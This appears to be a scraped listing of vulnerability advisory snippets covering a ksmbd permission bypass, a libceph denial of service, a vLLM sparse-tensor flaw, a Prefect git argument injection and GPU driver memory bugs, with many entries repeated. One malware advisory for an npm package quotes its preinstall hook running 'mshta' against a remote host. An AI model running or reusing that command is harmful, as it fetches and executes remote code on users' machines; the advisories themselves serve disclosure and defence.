Linux Distros Unpatched Vulnerability : CVE-2026-52944

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ksmbd: fix FSCTL permission bypass by adding a permission check for FSCTLSETSPARSE FSCTLSETSPARSE in fsctlsetsparse modifies the file's sparse attribute and sav...

PT-2026-51759

Name of the Vulnerable Software and Affected Versions Linux kernel affected versions not specified Description In the Linux kernel, the fsctl set sparse function fails to perform necessary permission checks when processing the FSCTL SET SPARSE operation. This allows a client on a read-only share ...

kernel: Linux kernel: Denial of Service in libceph OSD client due to unreset sparse-read state

A flaw was found in the Linux kernel's libceph OSD client. When a connection fault occurs during a sparse read, the sparse-read state is not properly reset. This allows a misbehaving or compromised Ceph OSD server, or a network adversary, to disrupt traffic. As a result, the client can misinterpr...

kernel: Linux kernel: Denial of Service in libceph OSD client due to unreset sparse-read state

A flaw was found in the Linux kernel's libceph OSD client. When a connection fault occurs during a sparse read, the sparse-read state is not properly reset. This allows a misbehaving or compromised Ceph OSD server, or a network adversary, to disrupt traffic. As a result, the client can misinterpr...

CVE-2026-56340

vLLM versions = 0.10.2 and 0.13.0 are missing sparse tensor validation in multimodal embeddings processing. Because PyTorch disables sparse tensor invariant checks by default, an attacker can submit crafted embedding requests with malformed negative or out-of-bounds tensor indices, when the...

PYSEC-2026-250

vLLM versions = 0.10.2 and 0.13.0 are missing sparse tensor validation in multimodal embeddings processing. Because PyTorch disables sparse tensor invariant checks by default, an attacker can submit crafted embedding requests with malformed negative or out-of-bounds tensor indices, when the...

CVE-2026-56340

vLLM versions >= 0.10.2 and

CVE-2026-56340

vLLM versions = 0.10.2 and 0.13.0 are missing sparse tensor validation in multimodal embeddings processing. Because PyTorch disables sparse tensor invariant checks by default, an attacker can submit crafted embedding requests with malformed negative or out-of-bounds tensor indices, when the...

CVE-2026-56340 vLLM - Denial of Service via Unvalidated Multimodal Embeddings

vLLM versions = 0.10.2 and 0.13.0 are missing sparse tensor validation in multimodal embeddings processing. Because PyTorch disables sparse tensor invariant checks by default, an attacker can submit crafted embedding requests with malformed negative or out-of-bounds tensor indices, when the...

CVE-2026-56340 vLLM - Denial of Service via Unvalidated Multimodal Embeddings

vLLM versions = 0.10.2 and 0.13.0 are missing sparse tensor validation in multimodal embeddings processing. Because PyTorch disables sparse tensor invariant checks by default, an attacker can submit crafted embedding requests with malformed negative or out-of-bounds tensor indices, when the...

CVE-2026-56340 vLLM - Denial of Service via Unvalidated Multimodal Embeddings

vLLM versions = 0.10.2 and 0.13.0 are missing sparse tensor validation in multimodal embeddings processing. Because PyTorch disables sparse tensor invariant checks by default, an attacker can submit crafted embedding requests with malformed negative or out-of-bounds tensor indices, when the...

CVE-2026-5366

Prefect version 3.6.23 is vulnerable to remote code execution due to improper handling of user-controlled input in the GitRepository storage class. The commitsha parameter, which is passed to git commands, lacks validation and does not include a -- separator to distinguish user input from git...

CVE-2026-5366 Git Argument Injection in prefecthq/prefect

Prefect version 3.6.23 is vulnerable to remote code execution due to improper handling of user-controlled input in the GitRepository storage class. The commitsha parameter, which is passed to git commands, lacks validation and does not include a -- separator to distinguish user input from git...

CVE-2026-5366 Git Argument Injection in prefecthq/prefect

Prefect version 3.6.23 is vulnerable to remote code execution due to improper handling of user-controlled input in the GitRepository storage class. The commitsha parameter, which is passed to git commands, lacks validation and does not include a -- separator to distinguish user input from git...

EUVD-2026-38128

Prefect version 3.6.23 is vulnerable to remote code execution due to improper handling of user-controlled input in the GitRepository storage class. The commitsha parameter, which is passed to git commands, lacks validation and does not include a -- separator to distinguish user input from git...

PT-2026-51172

Name of the Vulnerable Software and Affected Versions vLLM versions 0.10.2 through 0.12.x Description Multimodal embeddings processing lacks sparse tensor validation. Since PyTorch disables sparse tensor invariant checks by default, an attacker can submit crafted embedding requests containing...

MAL-2026-5895 Malicious code in easyllmai (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2f3b4523b083331b34769a2a730586fa622f50560f2f237a893633e7ffb57872 On npm install, the package's preinstall lifecycle hook "preinstall": "node preinstall.js" unconditionally runs exec'cmd /c "mshta http://fixars.top"...

EUVD-2026-36605

Software installed and run as a non-privileged user may conduct intentional GPU sparse memory API calls to cause out of bounds write in the kernel. The product incorrectly indexes internal state when performing sparse allocation remapping...

CVE-2026-34195

Software installed and run as a non-privileged user may conduct intentional GPU sparse memory API calls to cause out of bounds write in the kernel. The product incorrectly indexes internal state when performing sparse allocation remapping...

CVE-2026-41158 GPU DDK - Backed sparse PMRs are not handled by deferred free mechanism after shrink

Software installed and run as a non-privileged user may conduct GPU system calls to write to arbitrary freed physical pages. Physical memory allocated and freed, without the deferred free mechanism can lead to those resources being used for read/write by the GPU after the kernel module has freed...